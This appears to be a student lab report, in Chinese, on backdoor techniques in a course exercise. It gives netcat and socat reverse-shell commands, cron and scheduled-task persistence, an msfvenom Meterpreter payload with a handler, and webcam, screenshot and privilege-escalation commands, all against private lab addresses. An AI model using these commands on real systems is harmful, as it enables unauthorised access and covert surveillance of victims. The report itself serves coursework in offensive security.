20164310Exp2后门原理与实践
一、基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式
答：在莫名其妙的网站下载某些莫名奇妙的播放器。
2.例举你知道的后门如何启动起来(win及linux)的方式？
答：对于windows是双击后门软件执行。对于linux，通过cron指令。
3.Meterpreter有哪些给你映像深刻的功能？
答：截屏功能，录音功能，调用摄像头的功能。
4.如何发现自己有系统有没有被安装后门？
答：使用某管家查杀一下就好。
二、使用netcat获取主机操作Shell，cron启动
1.windows获得linux的权限
（1）查阅本机windows ip地址
可知win的ip为192.168.1.157
（2）使用以下代码ncat.exe -l -p 4310 监听4310端口，等着linux链接这个端口
（3）使用命令 nc 192.168.1.157 4310 -e /bin/sh 让linux链接4310端口
（4）windows获得linux的shell
2.linux获得windows的权限
（1）查阅本机linux ip地址
（2）nc设置监听本地4310端口 nc -l -p 4310
（3）让windows去链接linux的4310端口
（4）linux获得windows的权限
3.nc数据传输
（1）windows监听本地4310端口 ncat.exe -l 4310 linux连接这个端口 nc 192.168.28.157 4310
4.nc定时启动
（1）windows监听本地4310端口 ncat.exe -l -p 4310
（2）crontab指令增加一条定时任务，让他在每小时的第54分钟执行 crontab -e 。
三、使用socat获取主机操作Shell, 任务计划启动
（1）按照步骤创建一个新任务，控制面板->系统和安全->管理工具->任务计划程序，在操作选项（菜单栏）中，选择“创建任务”，填写任务名称ZHYY，之后，新建触发器，选择开始任务时间为：工作站锁定时。
（2）创建完成之后，按 Win+L 快捷键锁定计算机，再次打开时，可以发现之前创建的任务已经开始运行（可能会有很多同学出现一个黑屏，这里不用管它）
（3）在终端输入指令 socat - tcp:192.168.1.157:4310 此时可发现已经成功获得了一个windows shell
四、使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
1.用以下代码生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=43101 -f exe > 007_backdoor.exe
2.通过nc指令将生成的后门程序传送到Windows主机上，输入后需要在Linux上输入指令ncat -nv
可以在C盘中看到该后门
3.在kali上使用 msfconsole 指令进入msf控制台,然后出现了下面这个奇怪的东西
4.配置参数攻击windows，这里需要把防火墙和杀毒软件全部关掉
(1)先按照以下代码进行配置
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp show options set LHOST 192.168.31.128 set LPORT 4310 show options exploit
发现端口是4444
(2)设置模块、载荷
(3)再次设置主机IP、端口，并再次用 show options 查看是否设置正确，发现设置正确
(4)启用模块
(5)在windows上运行后门程序，并在linux上查看，发现得到了windows远程控制权
五、使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
1.直接输入命令 screenshot 进行截屏，发现截屏记录在root下
2.使用命令webcam_snap进行控制摄像头
3.进行提权
(1)先使用 先使用 getuid 再使用 用 getsystem 指令进行提权
（2）以管理员身份运行后门程序
（3）提权成功
六、实验感想
通过本次实验了解了后门植入原理和如何通过后门去控制其他主机，原理比较简单，也可以想得明白，因为是原理所以和实际操作会有偏差，因为被攻击的电脑有杀软和防火墙，不可能这么容易就被植入后门程序。与此同时也学到了控制权限之后能对受害主机进行的一系列操作，其中印象最深刻的就是控制截屏功能和摄像头的权限，希望在之后的课程中能够进一步地学习后门植入程序，也就是如何才能让后门程序逃过杀毒软件的查杀，或许这是计算机病毒里才可能讲到的内容了。
